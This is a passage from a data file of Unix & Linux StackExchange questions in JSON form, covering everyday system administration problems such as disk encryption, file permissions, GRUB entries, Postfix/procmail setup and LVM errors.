5: paranoid system encryption > > > \u2022 whole hard drive encrypted with dm-crypt+LUKS > \u2514\u2500\u2500> unlocked before boot, using dedicated passphrase + USB stick > with keyfile > (different one issued to each user - independently revocable) > \u2022 /boot partition located on aforementioned USB stick > However I didn't find any details. Does it mean that it is possible to have a full system encryption where each user partition has its own passphrase such that for example when one user is logged in, he cannot read the data of another user who is not logged in because his data is encrypted? (Similar as it would be the case if you encrypt different home partitions with `ecryptfs`). So can somebody provide some details how this works in practice and how to set it up in an ubuntu system?"} {"_id": "103709", "title": "Upgraded from CentOS 6.4 -> 6.5 and now permissions do not seem to work properly?", "text": "I allow my non-root user the ability to view my `nginx` access.log. I upgraded from `CentOS 6.4` to `6.5` and now my user cannot view this file but the permissions still look correct. I removed and readded my user to the `nginx` group.... Am I missing something obvious? Bleh, the user is `nginx` and the group is `adm` right? that is probably what Im missing..... Just needed to type it out. [09:46 AM] brian web>ll -rw-r-----. 1 nginx adm 6393 Dec 4 09:23 access.log -rw-r-----. 1 nginx adm 0 Dec 4 03:12 error.log [09:46 AM] brian web> groups brian brian : wheel brian nginx [09:47 AM] brian web> cat access.log cat: access.log: Permission denied"} {"_id": "64679", "title": "Error connecting to NX server", "text": "When trying to connect to NX server with a **NX CLient for Linux** (installed from `nxclient_3.5.0-7_amd64.deb`) I get the following error. NX> 203 NXSSH running with pid: 8009 NX> 285 Enabling check on switch command NX> 285 Enabling skip of SSH config files NX> 285 Setting the preferred NX options NX> 200 Connected to address: nnn.nnn.nnn.nnn on port: 22 NX> 202 Authenticating user: nx NX> 208 Using auth method: publickey Received disconnect from nnn.nnn.nnn.nnn: 2: Too many authentication failures for nx However when I am trying to use NX plugin for **Remmina remote desktop client** (from `remmina-plugin-nx`) I get the following _different_ error: NX> 536 ERROR: Reached the maximum number of allowed users on this server. The Remmina diagnostic log states that it is NXSERVER - Version 3.5.0-11 - LFE. Is it a problem on my (client) side, or on server side?"} {"_id": "94333", "title": "What's the idea behind rm not removing non-writable file by default?", "text": "What's the idea behind rm not removing non-writable file by default? Every time you want to remove a file that is non-writable file for current user but you have a write permission on directory get this warning and you need to pres `y' to confirm deletion: rm: remove write-protected regular file I wonder why are non-writable files treated in such special way? One thing that comes to my mind is that such files are usually user config files that contain user secret data such as encrypted password so rm warns before deleting them. Now, what is the real reason?"} {"_id": "144422", "title": "Getting the current path in .desktop EXEC command", "text": "Im trying to make a .desktop file run a .sh which is stored in the same directory as the .desktop. The whole directory needs to be portable and moved from machine to machine. my run script is `run.sh` I've tried: [Desktop Entry] Type=Application Terminal=true Name=RunMe #Exec=sh -c \"`dirname %k`/run.sh\" #Exec=bash -c \"export PATH=$PATH:`dirname %k`; bash run.sh;\" #Exec=bash -c \"export PATH=$PATH:`dirname %k`; sh run.sh;\" Exec=bash -c \"export PATH=$PATH:`dirname %k`; run.sh;\" But nothing happens when I double click the .desktop file. If I double click 'run.sh' and choose 'run' the script runs fine. If I run the script from the command line with '`sh run.sh`' it works fine. Any ideas, even just how I could debug which path its actually trying to run from?"} {"_id": "96332", "title": "RHEL installed once but displayed thrice in GRUB bootloader menu", "text": "In my machine, I have installed 2 operating systems. * Windows 7 * RHEL 5.6. When I boot the machine, the grub presents me the screen with the list of operating systems available as, * Red Hat Enterprise Linux Server (2.6.18-348.12.1.el5PAE) * Red Hat Enterprise Linux Server (2.6.18-348.12.1.el5PAE) * Red Hat Enterprise Linux Server (2.6.18-308.16.1.el5PAE) * Windows 7 I get the same window/desktop when I boot using any of the three listed RHEL versions. I checked the /etc/grub.conf file and there I could see three listing of RHEL. The contents of that file are as below. default=0 timeout=5 splashimage=(hd0,2)/grub/splash.xpm.gz hiddenmenu title Red Hat Enterprise Linux Server (2.6.18-348.12.1.el5PAE) root (hd0,2) kernel /vmlinuz-2.6.18-348.12.1.el5PAE ro root=LABEL=/ rhgb quiet initrd /initrd-2.6.18-348.12.1.el5PAE.img title Red Hat Enterprise Linux Server (2.6.18-308.20.1.el5PAE) root (hd0,2) kernel /vmlinuz-2.6.18-308.20.1.el5PAE ro root=LABEL=/ rhgb quiet initrd /initrd-2.6.18-308.20.1.el5PAE.img title Red Hat Enterprise Linux Server (2.6.18-308.16.1.el5PAE) root (hd0,2) kernel /vmlinuz-2.6.18-308.16.1.el5PAE ro root=LABEL=/ rhgb quiet initrd /initrd-2.6.18-308.16.1.el5PAE.img title Windows 7 rootnoverify (hd0,0) chainloader +1 My question is, why do we have 3 RHEL listed in the menu while I installed RHEL only once?"} {"_id": "115270", "title": "What's the top-left Button in KDE Windows?", "text": "I run Linux Mint 15 with KDE 4+. Consider this screenshot: ![enter image description here](http://i.stack.imgur.com/WH0zI.png) Underneath the LM logo, or beside the Firefox icon, above \"File\" and \"Edit\", there's a little circular button with a dot in the middle. I don't know what it does, and haven't been able to figure it out yet. Can anyone tell me what it does?"} {"_id": "119863", "title": "How can I get yum and the internet browser to work after fresh Fedora 20 installation", "text": "I am my wits end. After happily using Fedora 12 for several years, I decided it was time to upgrade. So, I bought a new computer three weeks ago and have been trying to install Fedora 20 ever since, with always the same eventual result. The vendor installed Windows xp3 for me, and I am using it for this posting. I have no trouble at all with dual boot and the Windows installation, including Internet access, and my two laptops and Motorola Milestone 2 mobile phone are all ok with the 'net in my house, they are wireless, this computer is on a wired connection, to a BT Home Hub 3 router. I have just tried, yet again, to install Fedora 20 from a DVD (full not live). At the \"installation complete\" message I ejected the DVD ready to re-boot, but the screen went blank and in the end I powered it down and turned it on again. I re-booted again from the screen because everything was very slow at first. Then I encountered exactly the same problem as before, I try `su` then `yum install emacs`, which is my favourite editor, and got the result in the image. If Ihad left it running I would have got the usual streams (up to 200 or so) of the \"trying other mirror\" before it returns to the prompt.![Screenshot of terminal ](http://i.stack.imgur.com/O14JH.png) I have installation DVDs, from the same supplier, for F17 and F19, I have tried them all with the same result. My problems all seem to be with the Internet in Fedora. However, using the default internet browser in the installed Fedora, most searches work after I try them twice in succession. And, of course, no Internet problems at all with the dual boot Windows on the same machine. I saved the image attached from Linux to Windows with no trouble, using the graphics listing application (is it \"Dolphin\" -- brain fuzzy) in Fedora. Just to make it completely clear, the only problem I have with the Internet is in my newly installed Fedora 20: the Windows XP3 in its partition on the same computer is completely ok. All that is different from my old F12 set up is a new computer and my Fedora installation. Please, what am I doing wrong? I hope that this is a recognised problem with a straightforward answer. Added 16-03-2014 Thanks for the kind suggestions. I am now getting the error \"Cannot retrieve metalink for repository: fedora/20/i386. Please verify its path and try again\". A web search shows this to be very common, with as many different answers as questions. None of them, those I can make sense of anyway, work for me. What is really needed is a diagnostic procedure that will lead to the underlying fault, and to a solution. Where can I find such a procedure, does it exist?"} {"_id": "115272", "title": "Download package via apt for another architecture", "text": "I am currently in a architecture amd64, so when I try `apt-get download vlc`, it downloaded the appropriate architecture for my system, but how can I download the i386 version via apt? It's for export to another system that doesn't have internet connection, also is there is any way to download any dependencies that follow?"} {"_id": "144424", "title": "Restricting GNU\u2011Make to POSIX Make behaviour", "text": "Is there a known way to make Linux's `make` reject unintended use of GNU\u2011Make specific extensions in Makefile when editing or using other's Makefile in Linux? I mean, restricting GNU\u2011Make to behave as the `make` specified in POSIX and reject any GNU\u2011Make specific extensions? The `.POSIX` special target is not enough, according to \u201c4.9 Special Built-in Target Names (gnu.org)\u201d. The man page does not mention a command line option for this. Using another `make` utility may be an option."} {"_id": "91210", "title": "What is the Execute Disable bit?", "text": "I read an article about the Execute Disable Bit (EDB) on x86 CPUs. This is more widely known as the NX bit; Intel also calls it XD. So Windows XP supports this hardware feature. Yay! But how do I know if my Linux distribution of choice supports it? What problems can occur, if this BIOS option is enabled? Where do I read more on how this feature is handled by Linux?"} {"_id": "52467", "title": "Download from dynamically changing urls via script", "text": "I want to write a script to download all Walter Lewin lectures from this page in wmv format: http://videolectures.net/mit801f99_physics_classical_mechanics/ However the links to the wmv file for example for the first lecture: http://videolectures.net/mit801f99_lewin_lec01/ change when one reloads the page. So is it possible to write a script which downloads the lectures one after the other automatically in wmv format. How can one do this? I tried `wget -A wmv -r http://videolectures.net/mit801f99_physics_classical_mechanics/` and `httrack \"http://videolectures.net/mit801f99_physics_classical_mechanics/\" -O ~/VideoLecture \"-*\" \"+*.wmv\"` both didn't work. Note: This question emerged from the following question on physics sx: http://physics.stackexchange.com/questions/38033/walter-lewin-lectures-in-hd"} {"_id": "91217", "title": "OSX: dd quits after a few minutes", "text": "I'm trying to diagnose a possible disk problem on my OSX machine: I heard some funny noises, so I decided to do a read test of the entire disk using dd. A few months ago this worked: dd would run for a couple of hours to read 750 GB, and then quit with a message saying 'N bytes transferred in M seconds' Today, dd runs for a couple of minutes, then terminates with the message 'Killed'. I can't find what causes this. I'm using this command: dd if=/dev/disk1s2 of=/dev/null bs=1024k which should keep going until it runs out of blocks to read. The system logs don't contain any information on this (no events recorded around the time that dd is killed). What can I do to solve this?"} {"_id": "91214", "title": "How to create a user account with specific permissions?", "text": "I want to create a unix user account with specific permissions: this user must be able to install software, but can't remove software. Furthermore, when the user logs in, root must receive a notification in the mail. It is possible? I'm running Debian."} {"_id": "91215", "title": "Cleanest way to use a smartphone as a conventional linux workstation", "text": "I have a GT-S5830 Samsung smartphone with Android 2.xxx, that I am not using as a phone. It would be nice if the device could be used as a wifi repeater. Unfortunately, this is impossible or not easily achievable. Sadly, the device is not listed among the CyanogenMod supported devices. Here it is explained that complete replacement of the Android for Ubuntu is impossible, and there exists some app, that installs a limited version of Ubuntu to run besides the Android, at the same time. Unfortunately the internal RAM appers to be quite limited: > Card slot 2 GB included Internal > RAM 278 MB I need the CPU and the wifi radio. If the camera works and is accessible from OpenCV, it would be a bonus. Can I flash a generic Linux system on this phone - with the abovementioned drivers and optionally a standard repository?"} {"_id": "145771", "title": "Mail filtering with procmail in a postfix/dovecot system with virtual users", "text": "I had a postfix/dovecot system with mail users working. After unsuccessfully following a few tutorials online to enable procmail, now I have an unusable system. What I want is to enable procmail filtering for my user paulo @ mydomain.com : **/etc/postfix/main.cf** # See /usr/share/postfix/main.cf.dist for a commented, more complete version # Debian specific: Specifying a file name will cause the first # line of that file to be used as the name. The Debian default # is /etc/mailname. #myorigin = /etc/mailname smtpd_banner = $myhostname ESMTP $mail_name (Ubuntu) biff = no # appending .domain is the MUA's job. append_dot_mydomain = no # Uncomment the next line to generate \"delayed mail\" warnings #delay_warning_time = 4h readme_directory = /usr/share/doc/postfix # TLS parameters smtpd_tls_cert_file = /etc/postfix/smtpd.cert smtpd_tls_key_file = /etc/postfix/smtpd.key smtpd_use_tls = yes smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache # See /usr/share/doc/postfix/TLS_README.gz in the postfix-doc package for # information on enabling SSL in the smtp client. myhostname = centauri.mydomain.com alias_maps = hash:/etc/aliases alias_database = hash:/etc/aliases myorigin = /etc/mailname mydestination = centauri.mydomain.com, localhost, localhost.localdomain relayhost = mynetworks = 127.0.0.0/8 mailbox_size_limit = 0 recipient_delimiter = + inet_interfaces = all html_directory = /usr/share/doc/postfix/html message_size_limit = 40720000 virtual_alias_domains = virtual_alias_maps = proxy:mysql:/etc/postfix/mysql-virtual_forwardings.cf, mysql:/etc/postfix/mysql-virtual_email2email.cf virtual_mailbox_domains = proxy:mysql:/etc/postfix/mysql-virtual_domains.cf virtual_mailbox_maps = proxy:mysql:/etc/postfix/mysql-virtual_mailboxes.cf virtual_mailbox_base = /home/vmail virtual_uid_maps = static:5000 virtual_gid_maps = static:5000 # Configuring submission port for auth through dovecot # http://www.postfix.org/SASL_README.html#server_sasl_enable smtpd_sasl_type = dovecot smtpd_sasl_path = private/auth smtpd_sasl_auth_enable = yes # ----- broken_sasl_auth_clients = yes smtpd_sasl_authenticated_header = yes smtpd_recipient_restrictions = permit_mynetworks, permit_sasl_authenticated, reject_unauth_destination #virtual_create_maildirsize = yes #virtual_maildir_extended = yes proxy_read_maps = $local_recipient_maps $mydestination $virtual_alias_maps $virtual_alias_domains $virtual_mailbox_maps $virtual_mailbox_domains $relay_recipient_maps $relay_domains $canonical_maps $sender_canonical_maps $recipient_canonical_maps $relocated_maps $transport_maps $mynetworks $virtual_mailbox_limit_maps #virtual_transport = dovecot virtual_transport = virtual #transport_maps = hash:/etc/postfix/transport dovecot_destination_recipient_limit = 1 #content_filter = smtp-amavis:[127.0.0.1]:10024 **/etc/postfix/master.cf** # Postfix master process configuration file. For details on the format # of the file, see the master(5) manual page (command: \"man 5 master\"). # # Do not forget to execute \"postfix reload\" after editing this file. # # ========================================================================== # service type private unpriv chroot wakeup maxproc command + args # (yes) (yes) (yes) (never) (100) # ========================================================================== smtp inet n - - - - smtpd #smtp inet n - - - 1 postscreen #smtpd pass - - - - - smtpd #dnsblog unix - - - - 0 dnsblog #tlsproxy unix - - - - 0 tlsproxy submission inet n - - - - smtpd -o syslog_name=postfix/submission -o smtpd_tls_security_level=encrypt -o smtpd_sasl_auth_enable=yes -o smtpd_client_restrictions=permit_sasl_authenticated,reject -o milter_macro_daemon_name=ORIGINATING #smtps inet n - - - - smtpd # -o syslog_name=postfix/smtps # -o smtpd_tls_wrappermode=yes # -o smtpd_sasl_auth_enable=yes # -o smtpd_client_restrictions=permit_sasl_authenticated,reject # -o milter_macro_daemon_name=ORIGINATING #628 inet n - - - - qmqpd pickup fifo n - - 60 1 pickup -o content_filter= -o receive_override_options=no_header_body_checks cleanup unix n - - - 0 cleanup qmgr fifo n - n 300 1 qmgr #qmgr fifo n - n 300 1 oqmgr tlsmgr unix - - - 1000? 1 tlsmgr rewrite unix - - - - - trivial-rewrite bounce unix - - - - 0 bounce defer unix - - - - 0 bounce trace unix - - - - 0 bounce verify unix - - - - 1 verify flush unix n - - 1000? 0 flush proxymap unix - - n - - proxymap proxywrite unix - - n - 1 proxymap smtp unix - - - - - smtp relay unix - - - - - smtp # -o smtp_helo_timeout=5 -o smtp_connect_timeout=5 showq unix n - - - - showq error unix - - - - - error retry unix - - - - - error discard unix - - - - - discard local unix - n n - - local virtual unix - n n - - virtual lmtp unix - - - - - lmtp anvil unix - - - - 1 anvil scache unix - - - - 1 scache # # ==================================================================== # Interfaces to non-Postfix software. Be sure to examine the manual # pages of the non-Postfix software to find out what options it wants. # # Many of the following services use the Postfix pipe(8) delivery # agent. See the pipe(8) man page for information about ${recipient} # and other message envelope options. # ==================================================================== # # maildrop. See the Postfix MAILDROP_README file for details. # Also specify in main.cf: maildrop_destination_recipient_limit=1 # #maildrop unix - n n - - pipe # flags=DRhu user=vmail argv=/usr/bin/maildrop -d ${recipient} procmail unix - n n - - pipe flags=RO user=vmail argv=/usr/bin/procmail -t -m USER=${user} EXTENSION=${extension} DOMAIN=${domain} /etc/postfix/procmailrc.common # # ==================================================================== # # Recent Cyrus versions can use the existing \"lmtp\" master.cf entry. # # Specify in cyrus.conf: # lmtp cmd=\"lmtpd -a\" listen=\"localhost:lmtp\" proto=tcp4 # # Specify in main.cf one or more of the following: # mailbox_transport = lmtp:inet:localhost # virtual_transport = lmtp:inet:localhost # # ==================================================================== # # Cyrus 2.1.5 (Amos Gouaux) # Also specify in main.cf: cyrus_destination_recipient_limit=1 # #cyrus unix - n n - - pipe # user=cyrus argv=/cyrus/bin/deliver -e -r ${sender} -m ${extension} ${user} # # ==================================================================== # Old example of delivery via Cyrus. # #old-cyrus unix - n n - - pipe # flags=R user=cyrus argv=/cyrus/bin/deliver -e -m ${extension} ${user} # # ==================================================================== # # See the Postfix UUCP_README file for configuration details. # uucp unix - n n - - pipe flags=Fqhu user=uucp argv=uux -r -n -z -a$sender - $nexthop!rmail ($recipient) # # Other external delivery methods. # ifmail unix - n n - - pipe flags=F user=ftn argv=/usr/lib/ifmail/ifmail -r $nexthop ($recipient) bsmtp unix - n n - - pipe flags=Fq. user=bsmtp argv=/usr/lib/bsmtp/bsmtp -t$nexthop -f$sender $recipient scalemail-backend unix - n n - 2 pipe flags=R user=scalemail argv=/usr/lib/scalemail/bin/scalemail-store ${nexthop} ${user} ${extension} mailman unix - n n - - pipe flags=FR user=list argv=/usr/lib/mailman/bin/postfix-to-mailman.py ${nexthop} ${user} dovecot unix - n n - - pipe flags=DRhu user=vmail:vmail argv=/usr/lib/dovecot/deliver -d ${recipient} postfixfilter unix - n n - - pipe flags=Rq user=vmail argv=/etc/postfix/spamfilter -f ${sender} -- ${recipient} # Options for the filter #smtp-amavis unix - - - - 2 smtp # -o smtp_data_done_timeout=1200 # -o smtp_send_xforward_command=yes # -o disable_dns_lookups=yes # -o max_use=20 # Listener for filtered mail 127.0.0.1:10025 inet n - - - - smtpd -o content_filter= -o local_recipient_maps= -o relay_recipient_maps= -o smtpd_restriction_classes= -o smtpd_delay_reject=no -o smtpd_client_restrictions=permit_mynetworks,reject -o smtpd_helo_restrictions= -o smtpd_sender_restrictions= -o smtpd_recipient_restrictions=permit_mynetworks,reject -o smtpd_data_restrictions=reject_unauth_pipelining -o smtpd_end_of_data_restrictions= -o mynetworks=127.0.0.0/8 -o smtpd_error_sleep_time=0 -o smtpd_soft_error_limit=1001 -o smtpd_hard_error_limit=1000 -o smtpd_client_connection_count_limit=0 -o smtpd_client_connection_rate_limit=0 -o receive_override_options=no_header_body_checks,no_unknown_recipient_checks **/etc/postfix/procmailrc.common** SHELL=\"/bin/bash\" SENDMAIL=\"/usr/sbin/sendmail -oi -t\" LOGFILE=\"/var/log/procmail.log\" DELIVER=/usr/lib/dovecot/deliver # fallback: DEFAULT=\"$HOME/Maildir/\" MAILDIR=\"$HOME/Maildir/\" :0 w * ^X-Spam-Status: Yes | $DELIVER -m spam :0 w | $DELIVER Why is it that when I send an email to my self procmail.log is not even created. It seems mails currently just getting lost since not even dovecot is picking it up."} {"_id": "145773", "title": "Reverse match in sed, replace opposite of what was found", "text": "Say I have this output from my syslog, precalculated src_hash => 20 bytes @ 0x7f811c001e20 A6 2D E5 CD 2A BA F0 42 56 66 19 D4 61 1A E3 A0 .-..*..BVf..a... C7 5E 5F 77 .^_w precalculated dst_hash => 20 bytes @ 0x7f811c0020d0 15 EC 34 59 89 0F 4F F8 C5 68 3A DC BB 09 27 91 ..4Y..O..h:...'. 5D C1 E7 28 ]..( My goal is to strip off the ascii junk on the right and be left with only the hex bytes of the hash, while still saving the lines starting starting with the variable names. The regular expression I'm using is `(^([a-zA-Z_]+\\s+)+[=]{1}) | (^([a-zA-Z0-9]{2}[\\s]{1})+)` Which correctly matches a line starting with either a variable name or a hex string containing its value. Is there any way I could invert what gets matched from sed to strip out sort of \"the other\" stuff in the stream? Can it be piped to a file somehow?"} {"_id": "145774", "title": "Hardware configuration required for DNS server", "text": "How can I know Hardware configuration required for DNS server: 1. What will be the expected QPS (Queries Per Second) on the server. > > 5/Sec and peak time 10-20/Sec >> 2. How many hosts will be querying to the server. 3-5? >> 3. How many domains will be hosted on the server. 10-15? >>"} {"_id": "113906", "title": "Remapping keys that generate multiple scan codes", "text": "I have a ThinkPad W540. On its keyboard there are four multimedia keys above the numpad. Two of those keys generate keycodes (and, apparently, scancodes) that correspond to combination of keys, `Win_L` + `L` and `Win_L` + `E`. In other words, for the key that generates `Win_L` + `L`, `showkey --scancodes` returns this: 0xe0 0x5b 0x26 0xa6 0xe0 0xdb The `setkeycodes` command requires either single byte unescaped or escaped two-byte sequences to denote scan codes, and `showkey` gives me way more than that, so I can't quite re-map that key to one of the free keycodes in my system with a straightforward \"setkeycodes \". After few hours of googling I'm still at loss as to how I can remap that key to something else that doesn't simply duplicate one of the existing key combinations on my keyboard and I would really appreciate any hints on how I can achieve that."} {"_id": "145776", "title": "PATH update does not stay after reboot", "text": "I have updated the PATH environmental variable on a Redhat distribution but after reboot, the path is gone. To add the path: PATH=/opt/rh/mysql55/root/usr/bin export PATH echo $PATH /usr/lib64/qt-3.3/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:/opt/rh/mysql55/root/usr/bin reboot removes the path echoing after /usr/lib64/qt-3.3/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin"} {"_id": "104714", "title": "What is the difference between Unix, Linux, BSD and GNU?", "text": "What is the very fundamental difference between Unix, Linux, BSD and GNU? Unix was the earliest OS, so the term 'Unix like' is understandable, since they have kernel, file system structure, most of the commands, users etc are same as Unix. Still why are they different? What made them set apart? Is it the kernel?"} {"_id": "35215", "title": "Creating one-time cgroup", "text": "I would like to be able to create a one-time temporary group in hierarchy. For example: #!/bin/sh run_with_csubgroup /sys/fs/cgroup/group/subgroup/ Which creates group say `/sys/fs/cgroup/group/subgroup/5G7ds/` (5G7ds is one- time name - it might be ID or anything). I would like to delete the group automatically but I don't know how to do it easily and prone to say TERM signal (from actidental `C-c`). Is there a way to do it? I'm using Gentoo+systemd."} {"_id": "35217", "title": "how to forbid a command without a permission", "text": "I intended to delete all the backup files in a directory, so I was going to type `rm *~` in the terminal. Unfortunately, I hit the _Enter_ before hitting the _tilde_ and unhappy things happened. Although, I've recovered all deleted files I really don't want it to happen again. Could I forbid the execution of such a command unless being granted a permission, like that of a superuser?"} {"_id": "35210", "title": "Removing supend and hibernate privileges", "text": "On OpenSUSE 12.1 x86_64, Gnome 3.2 . I want to remove the suspend and hibernate options from the Gnome (Shell) menu as * suspend makes no sense IMO for a desktop * hibernate has a slight tendency to lock up I've found that I should configure these privileges using polkit. I've dropped a file named `90-disable-suspend.conf` ( also tried `90-disable-suspend.pkla` ) in `/etc/polkit-1/localauthority.conf.d` with the following contents: [Disable Suspend] Identity=unix-user:* Action=org.freedesktop.upower.hibernate;org.freedesktop.upower.suspend ResultAny=no ResultInactive=no ResultActive=no However, running `pkcheck --action-id org.freedesktop.upower.suspend --process $$` prints nothing and has an exit code of 0 , and the menu entries are still present. AFAICT these are provided by `gnome-shell-extension-alt-status-menu` package. How can I remove the suspend and hibernate entries from the Gnome Shell menu and leave only Power Off?"} {"_id": "35212", "title": "readline: unix-word-rubout, but backwards, is it possible?", "text": "I'm trying to set up my `.inputrc` to perform a backwards `unix-word-rubout` but I'm currently failing at doing so. I have `M-w` mapped in my `.inputrc`. this does not work: \"\\eu\": universal-argument \"\\ew\": \"\\eu-1\\C-w\" nor does this: \"\\ew\": \"\\e-1\\C-w\" not even doing it interactively in the shell by pressing `M--` followed by `C-w` works, i.e. it keeps deleting words on the left of the cursor. PS I know there are other kill/rubout readline commands but i really would like to have the `C-w` behavior of killing words using space as separator, just backwards."} {"_id": "35213", "title": "using watch with ssh", "text": "I have a script: export TERM=xterm watch -t -d -n 1 'netstat -veeantpo | grep 43597 when we run this script though ssh, it does not determine the monitor resolution. so lines are wrapped although there is space to show results. You can see the result in the picture.(I have removed the trailing space after `ESTABLISHED`). ![enter image description here](http://i.stack.imgur.com/UNFVK.jpg)"} {"_id": "132664", "title": "How to change permissions/owner or delete Downloads folder (owner: root wheel)?", "text": "Something strange happened with my Downloads directory on my Mac OSX v 10.7.5. All of a sudden I wasn't permitted to save anything to the directory. The directory is in users/kelly/ and is the only one in that directory which doesn't have myname as the owner and group, instead it's root wheel: drwxr-xr-x 104 root wheel 3.5K Jan 1 20:55 Downloads/ When I try to change permissions with chown, ie: kelly@kellys-MacBook-Pro:~$ chown -R kelly:kelly Downloads/ I get this response: chown: Downloads//ftp/incoming: Operation not permitted chown: Downloads//ftp: Operation not permitted chown: Downloads/: Operation not permitted When I try to just delete the whole directory it says permission denied. My reasoning here was that I could just delete the whole thing and make a new downloads directory. What's the deal? That ftp thing seems scetchy but I really don't know where to go from here... Thanks so much for you time!"} {"_id": "136324", "title": "How can I change all of the contents inside of directory to what the default file ownership and permissions are?", "text": "I have moved contents of another drive into my home directory, but the permissions are not what they should be. First, I changed ownership by entering: ~$ sudo chown -R USERME /home/USERHOME/ Which I think works now. But now, I wanted to simply change all of the files and sub-directories into the default permissions, with files being read+write, and directories being r+w+x. I have not found a recursive way of handling this. I have run: ~$ sudo chmod 755 -R /home/USERHOME/ To make everything available to me. However, files appear as executables, and this is not what I want. There are plenty more sub-directories and files so I am looking for a simple recursive solution. Basically, I think I am looking for a recursive way to reapply the default umask parameter to a whole folder with (I think) chmod. * * * ## Update: I have posted a solution thanks to @SkyDan and \"changing chmod for files but not directories\""} {"_id": "23265", "title": "Trying to set date on a Linux based machine from another machine", "text": "I am running busy box on an embedded platform. I would like to set the date on the box properly each time I reboot the hardware. I have no way to save the time persistently, so am reduced to setting the time each time. I have LAN connectivity for it, but no SSH. My current hack for this is to redirect the output of 'date' to a file on my PC, access that file from my hardware platform through tftp, and then somehow parse the file, use its contents and then to set the date. I have no idea how to get the string from the file and then set it using the 'date' command. Any help would be appreciated. Any other way to set the date would be get. I have tried using ntpd, but that fails due to lack of internet connectivity"} {"_id": "132660", "title": "What's the difference between modification date and inode's modification date?", "text": "I've just found some interesting information for me in `man stat`: a, m, c, B The time file was last accessed or modified, of when the inode was last changed, or the birth time of the inode. But what's the difference between file last modified time and the inode's modified time? I'm writing a bakup-bash script which allows to copy only last modificated files from two almost equally directories so I need to know which value I will prefer to use :)"} {"_id": "23263", "title": "Embedded linux LCD not calibrated", "text": "I have attached a new LCD to my embedded Linux device and when I run the system I found that it is shifted to the right. (the display starts from the middle of the LCD) I found 2 frame buffer drivers under Linux kernel driver and modify in following areas: #ifdef CONFIG_TOPPOLY_TD035TTEA3_320X240 hsync_len : 64, vsync_len : 6, left_margin : 125, upper_margin : 70, right_margin: 115, lower_margin : 36, sync: 0, cmap_static: 0, #endif But the problem is still there. What should I do?"} {"_id": "23260", "title": "How do I hibernate my PC when I press the power button", "text": "Is there any way to make my PC hibernate when I press the power button? By power button I meant my CPU's power button. Obviously when I press this button somewhere some signal is sent which I don't know about since I am new to Linux. Can it be intercepted to enable my PC to hibernate?"} {"_id": "23261", "title": "How is FireFox running on a virtual machine that has no display?", "text": "I am using a Red Hat virtual machine, accessible only remotely. However when I use the `top` command, one of the displayed processes taking up the most memory is firefox, located at `/usr/lib64/firefox-3.0.18/firefox`. How could such a process be launched without a display, and could it be actually used by some processes? Is there a way to check which processes are using it?"} {"_id": "132668", "title": "Remove given parts of a string with sed?", "text": "$ echo 'NA' NA $ echo 'NA' | sed 's/SOMEMAGIC/NA/g' NA **My question** : how can I remove the string in the \"echo\" with SOMEMAGIC? The delimiter could be > I think"} {"_id": "76189", "title": "What does the tilde (~) mean at the end of a filename?", "text": "What is the file with the `~` at the end of the filename for? $ ls # aliased to add flags -rwxrwxr-x 1 durrantm 2741 May 16 09:28 strip_out_rspec_prep_cmds.sh~* drwxrwxr-x 13 durrantm 4096 May 16 14:21 ../ -rwxrwxr-x 1 durrantm 2221 May 16 14:58 strip_out_rspec_prep_cmds.sh* This is not the same as `.swp` files which are there while editing. The two files have quite a few differences and the newer file ( **no** `~` at the end) has the most recent changes and those changes are not in the older (~) file. Looks like I can delete it?"} {"_id": "6781", "title": "What does *~ mean?", "text": "At the end of a makefile I saw rm -f *~ *.class I understand the `*.class`, but what's `*~`?"} {"_id": "126318", "title": "What does ~ mean at the end of a file name (e.g. httpd.conf~)?", "text": "I edited a fresh apache config file in CentOS 5 using gedit. When I looked at the directory I saw now two files: httpd.conf and httpd.conf~ What does the ~ signify?"} {"_id": "23268", "title": "Location of user passwords in FreeBSD", "text": "I am in a system administration course in college in which I have my own FreeBSD server set up, so I obviously can login as the root user. I need to figure out where the actual passwords for users are stored, where they are not encrypted, if they are even stored in such a way. I know that all user account information as well as process information is stored in the /etc/passwd directory but there are only \"*\" in the password fields. I just need to know the directory and file where they are stored."} {"_id": "87900", "title": "Cloning USB drive in VMware with partclone", "text": "I created a virtual machine in VMware as follows: 1. SCSI HDD 1 GB (Main for short) 2. SCSI HDD 0.8 GB (UClone for short) 3. SCSI HDD 4 GB as a physically plugged UFD (Uphys for short) 4. Arch Linux ISO as virtual CD Where the UFD is a live USB created with YUMI. After booting Arch via the ISO with `fdisl -l`, I get this mapping: 1. Main is sda 2. UClone is sdb 3. Uphys is sdc and is reported as W95 FAT32 (LBA). Now I want to clone Uphys to UClone, note that Uphys used space is about 600 Mega. If I issue: partclone.fat32 -b -s /dev/sdc -o /dev/sdb I get: fatclone.c: Unknown fat type!! Is it referred to source or output? The former is reported as W95 FAT32, the latter is unallocated. UPDATE With `/dev/sdc1` as source, instead of `/dev/sdc`, I can go a bit further. But it seems that `partclone` is unable to get the actual used block size: http://s24.postimg.org/vwzhkhzcl/partclone1.png If I set the `-C` option as suggested, I get a `clone seek error` and the destination device gets messed: http://postimg.org/image/51xaywn6r/"} {"_id": "109277", "title": "How to get LIRC Remote working with Fedora 19", "text": "I am using Fedora 19 with KDE. I want to control it using my LIRC Remote. How can I configure the remote in my system? It only sends ASCII values and I want to map it with real-time standard values."} {"_id": "87905", "title": "Is running GUI apps on server a security issue?", "text": "To edit system files for example `/etc/named/named.conf`, I use: su - Password: gedit And then opens and edit above like files, instead of: nano /etc/named/named.conf or: vi /etc/named/named.conf Can this habit of using GUI tools every now and again cause a security problem, especially in **server** environment?"} {"_id": "109273", "title": "Gnome 3: open and resize application at startup", "text": "I need to open a couple of terminal windows and watch the output of a couple of programs. Currently I open them in `~/.profile`, then once in Gnome I click them to bring them to the front, then resize them, then select \"Always on top\", then move them to a specific spot on my screen. Can this all be done automatically? Similar question, but I am not very familiar with X, and maybe Gnome offers an easier solution."} {"_id": "87906", "title": "Couldn't fill logical volume maps", "text": "So I have a big problem here. On our server, there is an LVM raid with one volume group called `raid`. It contained two volumes, `secured` and `unsecured` and some unallocated space. Today I tried to remove `unsecured` and recreate it with using all of the remaining free space. I ran the following commands lvremove unsecured raid lvcreate -l 100%FREE -n unsecured raid and it said logical volumes cannot contain more than 65534 extents. logical extent (0) already mapped. Couldn't fill logical volume maps. logical extent (0) already mapped. 